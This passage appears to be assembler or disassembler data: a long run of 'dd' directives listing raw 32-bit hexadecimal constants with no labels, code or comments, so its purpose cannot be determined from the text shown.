		dd 47C0123Eh, 0D90E9E0Fh, 809FBC2Ch, 0C7722548h, 0F78EA8Fh
		dd 52B07BDEh, 87FF8D8Fh, 80C145B3h, 361172C2h, 0C3DB2700h
		dd 0C6961026h, 300EEAADh, 0D5B8EE85h, 2F00015Bh, 8EECAA8Dh
		dd 0DB6BA9h, 3561A0BBh,	0A6787A0Fh, 1E640F9Ah, 8F218829h
		dd 9EFE119Bh, 48078417h, 0A8604284h, 0E2210224h, 62201105h
		dd 119D2211h, 0E112526h, 7EDC110Ch, 0D8945210h,	2804DD83h
		dd 0B84A0DC3h, 7D860814h, 0CC84AE90h, 60F444F3h, 29115A5Bh
		dd 0AD389FF2h, 2284D044h, 96227FDFh, 1BF52229h,	39280C42h
		dd 119A4250h, 0A83119ECh, 0C49F1D29h, 9D7CF804h, 94020A00h
		dd 950917BAh, 0B279A6h,	7536B369h, 74F275Eh, 493D4C74h
		dd 21290005h, 7BC13E0Dh, 717EA14h, 50C5D847h, 12053046h
		dd 8E0E20BCh, 0E124EC80h, 0E063E36Ch, 0B025FCh,	0F919EFDCh
		dd 43E94D8Ch, 0ABB860F0h, 234CE300h, 1BE05578h,	0D18E12C6h
		dd 6E140068h, 3BE45937h, 0DAC30103h, 89BE2CD5h,	0FAFC634Ch
		dd 93A40CCCh, 54581488h, 2200947Bh, 0A7A8397Dh,	0C89FDFh
		dd 9EB8663Dh, 0A90E3782h, 2474D83Eh, 7981A0FDh,	423376B5h
		dd 3BE6370h, 116339F6h,	0D8C00CE0h, 71C0F319h, 1396E23Ch
		dd 0E0C37AAEh, 0AF1500FEh, 0A9FDF4A7h, 2C0E141Ah, 0F72DDE8h
		dd 0A04D0E5Ah, 9B907DD4h, 5CF01CA8h, 546440A3h,	7153875h
		dd 6F657918h, 9FE30h, 0EAE74A5Eh, 5F8B2E45h, 0E3310F00h
		dd 0F6A8B171h, 1B920019h, 0B5E6B4D7h, 0DB00DDD8h, 0C08E2812h
		dd 0F0BBFDBAh, 8AE667h,	9CACFFA4h, 9F4D66A3h, 11B4E307h
		dd 0D400448Ch, 1B2868Eh, 0A65A35ECh, 0C8B31CB0h, 7B007C9Eh
		dd 0B676140h, 0E09D62h,	488D0D8h, 68546A84h, 301DA807h
		dd 252DA94h, 0B5A081FAh, 82C1387Fh, 6CEC36F5h, 673F1433h
		dd 960086Fh, 0E2B5BE5Eh, 0B68B0B2Ch, 2080011Dh,	0A766EDF8h
		dd 64ECFDh, 792CCA65h
		dd 8CDD3B74h, 1ED0111Fh, 8ADAC542h, 6A9483DCh, 9A4E80CAh
		dd 0BCD7287Ch, 0D3000CCh, 21F252Bh, 0B0355A6h, 24B75476h
		dd 0DFA8C8EBh, 9E280EE0h, 448F63E7h, 0A7B27C61h, 0A83200Bh
		dd 514C500h, 0CF7D7E57h, 0F53E001Eh, 0F2B81CC2h, 0C50198FFh
		dd 1356ADD5h, 0C6D5BAC8h, 0A072A2F4h, 92CDA80h,	5E9CECC3h
		dd 54DE7C00h, 0A26078DFh, 0F6AAE0B1h, 399677F1h, 37739F2h
		dd 837E0D11h, 0CAA0F063h, 0AC01D4CFh, 0E492AAF4h, 2C20E268h
		dd 0A5FD0081h, 0C11969F6h, 0FA0274C4h, 769257C8h, 5ED160DDh
		dd 4C4200D6h, 8E2C4472h, 30082BDh, 4A187D32h, 1F17CA63h
		dd 7154683Ah, 0FCC9F2E8h, 8D28B43Bh, 2A00C927h,	757EF7BAh
		dd 7F6377C5h, 0EF590316h, 176D3A6Eh, 6996B5A0h,	0FADE9B3Fh
		dd 3FBE6648h, 5FDC9EA4h, 62681E40h, 7FD835ADh, 990B013Ch
		dd 0C1C0F2C8h, 2CA8D3BCh, 8302EF09h, 618B435Fh,	0E09C8087h
		dd 35067A5h, 9ABDBBC7h,	0B588B8CDh, 0C10797F6h,	95B381CEh
		dd 0DF00BFE7h, 0F8A575E1h, 0F68F71E7h, 774700EFh, 72D88E7Ah
		dd 0B69084B4h, 6704810Fh, 0D70EC0AAh, 0F29592h,	0CEF00982h
		dd 0D4C2ECA0h, 404DC400h, 0DE192BE0h, 0B64A0EE4h, 0CE032B4h
		dd 0C7859571h, 18B97E09h, 9A748021h, 24A4B29Bh,	3C75A09h
		dd 3239207Bh, 0FFDA6F98h, 88527100h, 418A6ABAh,	6B0E0069h
		dd 309AE68h, 2D044AF1h,	51C063DDh, 9F6CE480h, 0D81358D8h
		dd 0C05D561Fh, 279634EDh, 0E4B09EF4h, 9AC22600h, 7F8F5569h
		dd 42D00DBh, 0D48AE0FEh, 6A00BD7Eh, 845878EFh, 481C2Ch
		dd 0CC1ED108h, 0A4C692ABh, 0EB7BF800h, 14895194h, 0D870CBh
		dd 77C7F0D0h, 633D0B99h, 6534F900h, 62D7C0Eh, 357B85h
		dd 0B2ADE4C2h, 0C53F8CFh, 3F5D9100h, 0D2D66CF3h, 2AE002DBh
		dd 0BC19BA71h, 5E933C60h, 45007A79h, 0A8474450h, 0FE8C7713h
		dd 1EB7000Bh, 0DEA68B0h, 0BA3A0A86h, 96FE80AAh,	3D53CD54h
		dd 68D1F8Ch, 44740EDh, 0E0FC65Ah, 6B090876h, 800B52A6h
		dd 0B0A8B4CCh, 3F8C1C19h, 3C864F1Dh, 0A3800600h, 8B62F7B1h
		dd 60F44509h, 3AA42FBEh, 0A60064B4h, 5A23808Ah,	24007BCEh
		dd 0DE5E0C43h, 0A815E6h, 0C7792939h, 0F4EED9F2h, 2A6AC601h
		dd 80DCB1E0h, 7A126F0h,	0E6275B8h, 171FC0FDh, 5200B325h
		dd 0BE9D112Bh, 1210FA67h, 3D47978h, 0E33436ACh,	7B60FBC2h
		dd 0F3006813h, 79B5C5DFh, 13BA9F4h, 0D22EAD33h,	306A1B29h
		dd 5A3D070Ch, 1A5BA8Dh,	9A1A8778h, 5080A4C3h, 2D83FDA2h
		dd 1005A025h, 0B7CFB185h, 0FA392F80h, 0D9760E59h, 56A0C9BFh
		dd 6879FB72h, 6535700h,	910710Bh, 97F8009Fh, 18E7CDE0h
		dd 0DD9890F4h, 0BD05B41Eh, 0CC0FA780h, 0EE2560A0h, 0CBFB00BCh
		dd 2E4CF593h, 0D125FC13h, 3C3483BDh, 0A06CBBCEh, 66D7DCh
		dd 0F172CD3Ah, 6ADBD834h, 0CFF43E00h, 0EDB26BDEh, 97C100CAh
		dd 933BB055h, 0D313D857h, 90002DF9h, 0DA9867E6h, 0D480489Eh
		dd 0BA18FE00h, 3CEFD6D2h, 319B0A00h, 36618E7Ch,	9F2500B3h
		dd 7529496Bh, 0EF1F7473h, 0EED2C171h, 27803C1Eh, 3B7F4E4Bh
		dd 819D1E77h, 0EABF006Ah, 0E0994AA6h, 0F14CB800h, 0F54440E8h
		dd 3B8F3FE3h, 4A23178Bh, 30C0548Fh, 9EEEB5D2h, 0B4AAF000h
		dd 0EA829318h, 8B91007Fh, 0AE34191Dh, 957D7DE8h, 0B0AC1E00h
		dd 0B5FDCF21h, 0BD0100D9h, 26078B4h, 231E5E0Ah,	8F5F338Bh
		dd 9400BB13h, 189F9BFEh, 0CC7A3CD5h, 0DA5AD409h, 4E39500h
		dd 0CF0070CDh, 0CD293DDh, 3886650Bh, 0E400422Dh, 0B0EF32AEh
		dd 9C39DDF0h, 18A8EE9h,	1AE3C077h, 70FDB803h, 0A5CA0026h
		dd 63EEBD2Fh, 110013CDh, 44617E55h, 0EC25A780h,	0D3890010h
		dd 17BF549Fh, 0DA98568Bh, 0F0485100h, 5307B147h, 5C5A00D2h
		dd 99700E41h, 2F074EB5h, 750AE33Eh, 8C826B90h, 173FC24h
		dd 0FC5E63F0h, 403A2328h, 857A39D0h, 7F24E002h,	0E83EE683h
		dd 77725F8h, 4B26F79Bh,	0BF60A087h, 5A3A149Ah, 100E0096h
		dd 18069D69h, 0FE950431h, 0C0CB7913h, 41771153h, 0B981C502h
		dd 0CB3785BBh, 732B9894h, 5DF1E075h, 510BBCFBh,	80A154h
		dd 0D5844A2Ch, 75243100h, 0D9B1DD89h, 24044C14h, 79959001h
		dd 209B2852h, 98002969h, 966FBB12h, 0C066C810h,	0F4B02009h
		dd 9002938Ah, 822888FCh, 86808416h, 0F0BF0C90h,	2CA7C30h
		dd 85399AAFh, 5052B99Dh, 5053315Ch, 123F53E0h, 0C6A3802Ch
		dd 0DE303E48h, 18F65CBAh, 4E0D1Ch, 7EE6DA29h, 0E812C42Ah
		dd 4A1BEF67h, 96090011h, 0A29C1ADFh, 9A01010Fh,	4E0B5DC0h
		dd 97E4B1BAh, 0CD0C0EA8h, 0E80BF3C1h, 0A5A49887h, 535C8868h
		dd 790A42B0h, 9845EC1Bh, 3B5AF500h, 1ECCA8h, 14D59CC5h
		dd 61CE782Bh, 1224C338h, 8080DE9Eh, 7304505h, 0EFFAD15Ch
		dd 0D7C5623Fh, 755C080h, 0F51E1259h, 0E440405Fh, 83783613h
		dd 0FA190321h, 4B80FE35h, 283D1EA8h, 0A600B2F8h, 9126BB97h
		dd 3D2A0723h, 0E5257BA1h, 824CC000h, 0F4A080D3h, 54090C6Ah
		dd 6039F51Ah, 0D0F03Ch,	5FADBE72h, 3FAC2956h, 8F2B38CFh
		dd 94096149h, 0CC6076B2h, 0CC88C03Dh, 82AA8EC4h, 0CA3B1503h
		dd 0F7AB1C6h, 0A724A520h, 0AC55C820h, 837BD50Ah, 858A883Ah
		dd 82CCF747h, 1A28E000h, 0B07A6609h, 984101E0h,	7B56126Ch
		dd 0BA5C70CDh, 2811B003h, 9B2F1C9Fh, 2966E0C5h,	42DC0082h
		dd 84E8BCCCh, 0D70F7330h, 5D71467Bh, 867200BFh,	0BE2B635Ch
		dd 0A2020204h, 487688F5h, 9873D080h, 0D20065ADh, 3C85C1E5h
		dd 3F7832A6h, 0DB810916h, 0AC6B11A4h, 6FC44001h, 4D00D381h
		dd 2E3A043Fh, 0D6401Ah,	6380A45Bh, 0A2394698h, 0B2F02F00h
		dd 0FD5E0935h, 0EF133B93h, 21705D30h, 41004F08h, 3A4D5AFEh
		dd 603BB620h, 0A43840A5h, 47161B22h, 7600D8D4h,	0F0A0BD89h
		dd 0CFDF009Dh, 0C95159CAh, 191F1199h, 0E06E45F9h, 0DE0C8100h
		dd 247CB9Eh, 2DBC5388h,	0A48540D2h, 7419C14Ah, 0BBF2864Dh
		dd 0AE23AEh, 7CA04025h,	3DE45127h, 6600FC72h, 0A732951Eh
		dd 9B8759h, 0C598911Fh,	836A07D6h, 40564B00h, 3206B273h
		dd 7BBE0225h, 0A9752A2Bh, 7AF5F6E0h, 0AA2FB100h, 0EE6DC31h
		dd 0FAB0039Eh, 682A3D9Ah, 8F245E99h, 2C6C3509h,	0D3F89Fh
		dd 2B1CCEDFh, 156022DDh, 0B25DF100h, 7717EDC6h,	9C7300A4h
		dd 704A64E2h, 767B46E0h, 61D88E0Fh, 0ABB7AF9Dh,	35F0056Dh
		dd 7B8A5C81h, 93A1192h,	3083F627h, 4A9051C3h, 0EDEAE809h
		dd 0F73FD0E6h, 0E74F873Fh, 0B3007B5Bh, 0E1EE12F9h, 119C1180h
		dd 0A8394E07h, 0F195050Ah, 2400CCB5h, 8998BF52h, 25F013EEh
		dd 79C80FDh, 3900D2F2h,	2229786Ch, 0EAF391h, 0BFBB04ABh
		dd 0E95F3587h, 0DFDAB707h, 1870FEC0h, 9079AE71h, 7D7FC4h
		dd 9BFC5853h, 80CFC702h, 0D1586D60h, 0F41AC0Dh,	470650B9h
		dd 41C6125Fh, 0DDADF408h, 0F811C8CEh, 6ABA9B07h, 67211A5Ah
		dd 54240128h, 7A13000Bh, 233D140Dh, 2100A7CCh, 69CF8278h
		dd 3D0F05CDh, 0C8802D72h, 6B64BA81h, 0AB0EF328h, 80B3D407h
		dd 932588A4h, 7EC61915h, 0D094F1DDh, 65096E50h,	80F9E7B7h
		dd 610FC665h, 40F50953h, 0C107D7DFh, 0C85A60h, 2AC42294h
		dd 681F4CDDh, 198098CDh, 1AB08130h, 0DE8F0324h,	44BE8993h
		dd 0B31FE5C8h, 38D4DA2Ch, 0FC6EEE00h, 1C857Eh, 84BF730Fh
		dd 0C613F741h, 4C90FD75h, 29446307h, 0D4E0AF14h, 9A22C7E3h
		dd 6AE61678h, 9A01E21h
		dd 188943C4h, 308A6461h, 0B1059D18h, 3FE99610h,	7EA9AC0h
		dd 16D9002Eh, 0F4D74B65h, 0B7002FAEh, 3594F6FFh, 787D805h
		dd 6C4E859Fh, 0C01B9BDh, 213FE503h, 0CC6D0D8h, 0FDB28213h
		dd 44664C0h, 0E5D004Ah,	0F7A5C980h, 36F0B090h, 723C33Dh
		dd 9F32652Ch, 0D4D5409Fh, 66FEEBh, 0CAE104Bh, 0F1B74D6Eh
		dd 3EFBBCA8h, 0CF73C500h, 5A24DE1Eh, 4360F366h,	84B1266Dh
		dd 77ED017Ch, 0E8DA634Ah, 0F400DDCCh, 103E5C7Dh, 0A00638CDh
		dd 3A69C8h, 855A469Ah, 332C86A0h, 98A62400h, 0B54B214Ah
		dd 0D09760D7h, 8E7C9E6Bh, 3127E200h, 0D337A806h, 0C9E7016Eh
		dd 0D256FC7h, 0E821E034h, 0EF5627h, 0FE4FEEC4h,	831E0043h
		dd 3BC5C409h, 9E1857CDh, 0C050756Bh, 970C00B0h,	0A15D1B7Eh
		dd 3B3814D7h, 0FE068720h, 88606986h, 5B9D408h, 0D641166Ch
		dd 0DB5C90C2h, 275C4BC9h, 7EF00080h, 0DD3BFFAh,	1378002Dh
		dd 3926A55h, 62E43B59h,	0C7D5A500h, 1C01D8F2h, 647F3D5Dh
		dd 0EF2A7C0Ch, 0FCA14C51h, 10C3C1Eh, 4372563Ah,	98208EC5h
		dd 1209165h, 30CDD1EDh,	0B1F49766h, 0A21D7F0Fh,	0E8F51CFEh
		dd 0B019C494h, 382D05DAh, 27407837h, 0DC1190D8h, 5407527Fh
		dd 0C01768C9h, 97A09953h, 2A0F27F0h, 8297038Dh,	298679C8h
		dd 0FACBE888h, 3D7FDE0Fh, 0E48A6054h, 0B8A19919h, 2F3C1E68h
		dd 85230301h, 4198FF0Ch, 0D8033040h, 6363FBDh, 863C9042h
		dd 0C51200CCh, 0B57E7B77h, 0D300E3FBh, 2E6F7D27h, 737897h
		dd 0B774EC4Eh, 0F5CF328Fh, 0D6936B00h, 0C46377C3h, 1DC80001h
		dd 0BA72ED90h, 240F7BA3h, 24D4A7Dh, 70AE8474h, 0C2050EECh
		dd 87208A8Ch, 0C037A4B5h, 4D675800h, 8D023B0Fh,	441C4C41h
		dd 0AC03B23Fh, 0D3CD60Bh, 366D7CE0h, 0AB164900h, 3428AC3h
		dd 19A30B9Bh, 3D016931h, 703A2F17h, 0D8097DD7h,	0C1FBFAB4h
		dd 34F81984h, 0F8BA0E53h, 0DCE13D87h, 70C3CB99h, 540063DAh
		dd 0FEFF1EF9h, 28C957E7h, 840EC6h, 0C2036E30h, 45404342h
		dd 0A60990Fh, 55052057h, 5CB94C8Fh, 923CC830h, 8AC9Eh
		dd 12EB81FEh, 60E25EE0h, 25383371h, 33D1352h, 0F014BC13h
		dd 0CD3714CDh, 60D707C8h, 0F0CCD33Eh, 6AF839h, 964F09B5h
		dd 2451B53h, 0E2D8AE00h, 75DB7A01h, 92E3F44h, 74231880h
		dd 0C77842C8h, 0AE8C0B02h, 40104738h, 6EEDC4h, 8D83455Bh
		dd 0CE37957h, 0E7823E19h, 0FEFC9568h, 53F500BEh, 0BDB5EE56h
		dd 0C807DC68h, 97713807h, 3E731BE0h, 120100E9h,	5F6EEF7Dh
		dd 8300D258h, 45504F0Bh, 24D94C2Fh, 4647EEEh, 0C123CFDDh
		dd 2BCBD0E4h, 0E60FA0h,	0F76B47D8h, 0CEAAFAF5h,	0F4005FFCh
		dd 5CEE06E1h, 59A5C640h, 9B1C047Eh, 0FF3E001Eh,	877910FAh
		dd 0B37AB5Ch, 0E316BBDCh, 5774B0B0h, 0D5CB04FCh, 80E103D7h
		dd 694714ACh, 824BBC90h, 6E245440h, 7C5742h, 921E088Dh
		dd 3FD4F3E7h, 0EFC08504h, 9CD0E230h, 15582E60h,	4849C681h
		dd 0A6FA9CC2h, 40030F2h, 200E0BECh, 1D5E874Bh, 0B47B36h
		dd 0C7385702h, 1C9ADB59h, 8EC91801h, 9E58A5BBh,	3FB45084h
		dd 7B9CD0AFh, 0C204B2E0h, 28374122h, 3D00BCA2h,	2AF6C7FAh
		dd 930E91A5h, 9BCEB8h, 0F94F17F7h, 8384CA4h, 0EEE6C113h
		dd 0E991DE00h, 0E65D947h, 546A5955h, 6610ABC7h,	0F00788Fh
		dd 0F095E6F4h, 73023D01h, 1D17F25h, 21123BBFh, 804A5C6Bh
		dd 0DE0AC5E0h, 2545DFh,	6CD38579h, 0A739CBC6h, 0EAFA2F00h
		dd 0BE9A3788h, 0DCCD0002h, 70B7C798h, 0FD1D8292h, 0EE80FADFh
		dd 83C26665h, 0D8E10061h, 380E20F8h, 1271234Bh,	0E8A63300h
		dd 578A8EC8h, 19940524h, 1EF3D0C7h, 93A58A8Ch, 51F492C0h
		dd 950E8CC8h, 7A40D856h, 8E68E7CEh, 0F91B6009h,	4B10091h
		dd 3C59FD26h, 0C7809BD5h, 985C6D6Ah, 0D01DAEC5h, 6B80B3A5h
		dd 793CB0B4h, 7DF64Bh, 2C159559h, 663A04E8h, 300190B8h
		dd 10198696h, 0B1F82E02h, 0EC80034Ah, 0E138F66Ah, 0C3A27FE0h
		dd 0E6289E00h, 234D0639h, 0EBFA00B7h, 0E97881D5h, 0BF058974h
		dd 3D3233F7h, 814F800h,	9EC3990h, 0E63BFA16h, 0E7266C00h
		dd 1730AE1Ah, 57A409EAh, 0E370010h, 0D054E07h, 0F1262C09h
		dd 3A402001h, 45D4A9h, 399A810Fh, 0E9241B09h, 351CD907h
		dd 0A473185Ch, 0E1DFC007h, 98CC2DAAh, 0EBA79C98h, 42F28700h
		dd 0BD0B03DDh, 0D0740E60h, 0B4B47638h, 0E6D41500h, 8A3B1982h
		dd 646AB807h, 85925633h, 18407787h, 0DF004135h,	0E0599513h
		dd 8F3C54h, 2039A81Fh, 0F35B1D46h, 0A2F4DC00h, 4938F7D3h
		dd 0BF612CB8h, 7FA9603Ch, 5D3F1118h, 809E3A65h,	0D3D1CE37h
		dd 185E55F1h, 0A2E7D5CFh, 9D00AD5Fh, 62401041h,	1FD66046h
		dd 0AE8AA5h, 0A230550Ah, 1C75A948h, 0D3A3404h, 0EC80BE98h
		dd 0F09E1Dh, 0AE81AC99h, 1779D69Bh, 86D59C1Bh, 0E8090011h
		dd 0A02C0D6Dh, 8EEC4E7Fh, 1383A00h, 663FFE8Ah, 0FA3500B9h
		dd 4133C3D3h, 0B417DD3Bh, 70538718h, 84E19600h,	1C119C9h
		dd 78FE2838h, 0F4A94961h, 5E0EDF8Eh, 0C054D9F2h, 0F6AD37D2h
		dd 0C0BE5AD6h, 4F9DA521h, 0F5EA7200h, 10064873h, 0C820F32Ch
		dd 814A16h, 9EFA766Ch, 220069C3h, 1BD302B5h, 623FBCh, 65031ACBh
		dd 959149E5h, 8CEB3Eh, 9C109F32h, 85AAB3h, 17B51926h, 0A4E18729h
		dd 0E2BC1507h, 63E035E8h, 167D794Bh, 266D34h, 6474A503h
		dd 1D0091CCh, 0B41DDE3h, 2C757C9h, 71279548h, 0B085C4E8h
		dd 0FAE8A02Dh, 49410609h, 0C9C52E4h, 3AF982ACh,	55390C09h
		dd 619803Eh, 130E022h, 1B04392Ch, 2E053876h, 6A0EEE00h
		dd 338B71C1h, 0F63B1AEEh, 634E1D72h, 0FA83B480h, 3C3AF0Eh
		dd 0FE364C1Dh, 0FBB317DCh, 0FCC0EDB1h, 0B008CE7h, 311ABC35h
		dd 3BBF730Ch, 0D2005CF0h, 80BD9CF1h, 0CD005154h, 0CE651DAAh
		dd 0FEC15Bh, 4907DFDAh,	41F21520h, 0D297203h, 0FF339DC0h
		dd 6D90ACA0h, 4D10C0BDh, 0E4EB617Ah, 99ED0100h,	0B4FD0635h
		dd 0B86C00D7h, 49A708D5h, 4D005D24h, 44296447h,	922E2Ch
		dd 0C1F4E7C8h, 5901C2B6h, 9ED07B00h, 1D674E4Bh,	0E3400D3h
		dd 5E48C9A2h, 330062EDh, 59FC7E76h, 3987758Ah, 380B64Ah
		dd 0A1902DBEh, 0D1020E65h, 99066B81h, 517C11Eh,	1A66D70h
		dd 0C5A429CCh, 0D09485CDh, 7A000FFFh, 0EB7BF7ACh, 2F6956h
		dd 82573018h, 0A058DAC1h, 70E06E00h, 9E75D40Ah,	0F8861EC6h
		dd 4154C012h, 0B3060A7h, 2E1C9F78h, 2B85A115h, 818A016h
		dd 0F058B09h, 620D062Ah, 20137C87h, 70FF37D8h, 1A9DC4Ch
		dd 0BCA59AABh, 0F4449F4Bh, 72D2EA00h, 761498Ch,	41518448h
		dd 0FBF250F3h, 3A4C31DDh, 6ED0058h, 7EB7376Fh, 561C58E4h
		dd 0A05A1200h, 21F77BF1h, 0B57FF300h, 6059E66Dh, 416A0311h
		dd 0C054D8DEh, 0C1B85E83h, 4B00500Eh, 0A6BC2D6Fh, 0E452AFBh
		dd 0A366A2BFh, 4457B820h, 4A7C7732h, 35E9381Fh,	1B414001h
		dd 18D41F6Ah, 9C5500A0h, 0D748573Eh, 223074B0h,	4EAB48C2h
		dd 959A035Dh, 0B312715Fh, 61F173F8h, 807A163Bh,	2E55A7F6h
		dd 9071DBD4h, 7D3500DDh, 17A5F22Fh, 0B807F043h,	0A41E3166h
		dd 2670D377h, 0D353CD7h, 57B6336Eh, 7FF5EC74h, 0A8009CE4h
		dd 4FD727E5h, 7805A2h, 8B517B0h, 69E9294Bh, 7BEB570Ah
		dd 6F0FE066h, 10DA6375h, 48C48E0Fh, 9B027CDCh, 8D52AFD5h
		dd 91696440h, 748AD824h, 0B6BDF601h, 4BF4B0FEh,	9C9A00DAh
		dd 99AB929Fh, 0A600DE0Ch, 0A3FB01B9h, 2CF45Dh, 0E5B8FFD3h
		dd 0AA722295h, 258B1601h, 2884BDFDh, 0F7DA4ECh,	1BD50927h
		dd 3492300h, 4F0035BCh,	9730B7ADh, 0E8EE8055h, 196200AEh
		dd 22DE4699h, 5A00A51Eh, 0AC21E9B6h, 0F43E01h, 9DC2B3BCh
		dd 6C2643E2h, 0C0104500h, 0FFA10C30h, 8EF20FDBh, 3262DFB2h
		dd 8542C53Eh, 74DC0DDh,	13AA0086h, 9BFF6966h, 1E3FC1F5h
		dd 0F9888E6Dh, 36A80C3h, 7F5062h, 0C23D9B0Ah, 9648DF0Bh
		dd 3C0F757Dh, 80FA9FA3h, 3FCC85B9h, 0F48D0041h,	0D398E8D7h
		dd 5C00A62Dh, 1DBBFD09h, 4BDFCBh, 0A3294578h, 0EFE0DCB6h
		dd 9839BE00h, 70D22D34h, 23741E08h, 0FAC40753h,	3EC5806Ah
		dd 5100B731h, 8DC625CBh, 0F32F0Ch, 181367AFh, 0C498345Bh
		dd 3CEEC21Dh, 0C2CFB50Ch, 7F351F9Bh, 6F344051h,	0C942768Fh
		dd 0DC57B42Dh, 5A730008h, 0FE7FAD53h, 1D0B2F03h, 0BFF0E70Ch
		dd 19FC006Fh, 35F5283h,	0E838554Dh, 290E99BCh, 203124F2h
		dd 5248B1CCh, 0D7FB0198h, 2866B4BBh, 8BC0D7C8h,	0D4036B82h
		dd 0EFB19434h, 0DCB7D8A4h, 0F83D0089h, 0AACC6F44h, 56009E14h
		dd 0E4BCF546h, 5C16BAh,	0DA1EADD7h, 67F97CD4h, 10000DE8h
		dd 3FE206A1h, 0E3E596h,	8D8049B2h, 0EC0A47C0h, 0E76AD00h
		dd 7B1FD8F5h, 9AA400F1h, 0A2D7E03Ch, 0E4F9F40Fh, 0AA00EA0Dh
		dd 63621447h, 0A5DDF2Fh, 7BA3E189h, 711B80D0h, 8296F010h
		dd 0ECA2000h, 0F7F67F2Ch, 0ED9900BEh, 0BB7E1B88h, 0D57BB4DAh
		dd 101D1230h, 7CB3BDD1h, 0A2C4003Dh, 0E48D6207h, 0A33CB951h
		dd 0A8C60153h, 0F3C8AA14h, 0F2A2E630h, 0EBAE00CDh, 6576F405h
		dd 0E207FAB4h, 73A6E7AAh, 216E4FC0h, 5ACF00CAh,	784CBBFFh
		dd 0F20019C6h, 0A7A13672h, 0BC8371h, 5D7E7CB4h,	8D446798h
		dd 1C07E278h, 6B965863h, 543C8270h, 3B4E3923h, 0DF7F2500h
		dd 368A2C19h, 68E15200h, 0A70B0643h, 0FD551D37h, 5ABB0059h
		dd 0CD233964h, 0D2FE62FAh, 311C3800h, 5F4B2E48h, 75700069h
		dd 8234DBE2h, 3C300C9Ch, 26B076D7h, 4FE600E7h, 150376D9h
		dd 0AD0F621Ah, 6749C21Fh, 0D020396Ch, 0FD17B654h, 511130h
		dd 48C03F52h, 811D2775h, 38DE4001h, 195C9A5Ah, 0DA2DCCh
		dd 6B634812h, 0EB68FBBDh, 0E5D5E703h, 9DFF5642h, 0E0937EC2h
		dd 27BECEh, 21ACFBC4h, 51E61553h, 1A252F0Fh, 6A680BDh
		dd 17F2338h, 480C6E09h,	0E4B1A0F1h, 0DC009F8Dh,	77F9C4FBh
		dd 955BE1h, 7F22AC68h, 30FAB253h, 0BEA37A0Ch, 1EEA68F8h
		dd 40C9780Dh, 4F5B688Eh, 0E7963B3h, 8335923Ah, 0DC076F85h
		dd 0B123D8CEh, 48EB7403h, 30381820h, 966DED87h,	3E7281F8h
		dd 0D346E02Eh, 1F0D6B0Ch, 242977h, 2B37130Ch, 61D0FA14h
		dd 326A0700h, 15965218h, 9EEE1DB2h, 0C6F0C0B6h,	719D1B3Ah
		dd 3EC09F48h, 824400E9h, 747254EEh, 0F7F67Ch, 7B842F9Ch
		dd 3E26E02Bh, 0B7187760h, 0D065EDh, 83D5DEBFh, 433BF09Fh
		dd 7D5FE301h, 22FFB6BBh, 0F46592C4h, 51806098h,	82775E13h
		dd 6A58F800h, 0B7A116C8h, 87F00D2h, 9FC36B70h, 4500449Ah
		dd 0FD9DBE1Bh, 323643h,	419EEC76h, 1270D8E6h, 0A6A78000h
		dd 0B81C49E1h, 0B7BD00B6h, 8FD438C9h, 0DA07908Dh, 0CAB3A57Fh
		dd 36CEB9C0h, 3B4100E8h, 5A03034h, 7C3B3507h, 0FD0072AFh
		dd 1E4A98C8h, 13D8638Eh, 14ED953h, 0F973795Dh, 962020B3h
		dd 0D23CB200h, 7DF6E491h, 386300CAh, 0F84746C6h, 1005215h
		dd 0E3048535h, 0FA7187FDh, 2E66000Ch, 0D7197677h, 8F00119Bh
		dd 0E283C356h, 309757Dh, 482AA81Bh, 0ABABEDB3h,	0CC0FE3A0h
		dd 6DE88007h, 0AEB0C213h, 1F8F0EA3h, 0A999B9h, 0B1EEEFE5h
		dd 0FE71DE8Dh, 771E3FFAh, 0EA80D3CDh, 0C186CCDDh, 97F703A6h
		dd 53FB9C05h, 3142A388h, 140C7200h, 1F97A36h, 6E9A2610h
		dd 0A121805Ch, 0A8370B6h, 7E766801h, 3FFF6B16h,	0FC674064h
		dd 0C48C0952h, 2423352Fh, 7798A3AFh, 0BF021397h, 4A86407Ch
		dd 3EE8C094h, 171B122Ah, 0C9080359h, 51747124h,	80440900h
		dd 2556720Fh, 826000DCh, 0E1B0CA22h, 642C324Fh,	0EB077D3Ah
		dd 1A00260Eh, 0B6769548h, 663124Ah, 51F6C3CDh, 10178B0h
		dd 470AC803h, 0D080215Dh, 1A6764B3h, 12014438h,	58A561A0h
		dd 0A2E8102Bh, 4FB86Ah,	0AD7CD8C4h, 3B26F074h, 85D73601h
		dd 83DD7507h, 0EF418C50h, 2F04075Ch, 893E2B6Ah,	90A0948Fh
		dd 0E37752C8h, 688B4D03h, 0B0EECDE4h, 26B3F0h, 3B5D73BDh
		dd 36AB134Bh, 69534000h, 0E179DB1Bh, 7251EA39h,	0D2613FA8h
		dd 1102B8DCh, 93D97428h, 273122C0h, 0E4A13D00h,	0F2A295B1h
		dd 0C24A003Ah, 1ADAC0A5h, 0E9C02BD7h, 3C4B3839h, 56073492h
		dd 0C705C058h, 1001B2C8h, 5FEC303Dh, 5AF09240h,	0D4823078h
		dd 0D8BACB38h, 0BE9060EBh, 841469EAh, 39ECB04Bh, 0EAF1875Fh
		dd 3AA38E50h, 0E2DC6077h, 11671916h, 52D36818h,	7F6A5048h
		dd 0F75B002Dh, 0B398A3BAh, 0A11DC0E7h, 0AECD173h, 75653703h
		dd 0CB4BD0ADh, 0B9810034h, 39EF33B7h, 770008B3h, 11577214h
		dd 646C29h, 91740E1Dh, 0E78CAA75h, 3EEF1E14h, 0A3FF0FBCh
		dd 20AB03BCh, 3D800022h, 4CF46E11h, 25126F33h, 0C499028h
		dd 3EC987Dh, 0F6B0B0A9h, 0A9BB58DEh, 4D216h, 0DFFE4637h
		dd 0B0014721h, 3A692577h, 0D4307589h, 48FE8Fh, 7F6892FAh
		dd 7753C1BAh, 59004CB0h, 39D6B50Fh, 74FA0Ah, 1CF81A09h
		dd 0A3CD240Dh, 0CAD09101h, 4DBD9B5Eh, 2BBFCCh, 0B84CA55Ch
		dd 0C0B1AF2Ch, 138E3200h, 57902ADFh, 97801AEh, 2F159DD9h
		dd 48CBE034h, 0F840F330h, 7337389h, 0D9AF0FD7h,	3D43AF9h
		dd 0F7DC8EBAh, 6122CFD9h, 0F3976000h, 0FFE42B54h, 95BE009h
		dd 0A92C006Fh, 0C0CDDEh, 0AF3A65DCh, 0B37A8580h, 9B641D00h
		dd 0B6BCEE1h, 2C4C905Bh, 0F4814Eh, 0B0C8722Ch, 1000688Fh
		dd 0DD34D8F8h, 517B4Bh,	0F98BBBE9h, 4D9A3ABFh, 78FAF100h
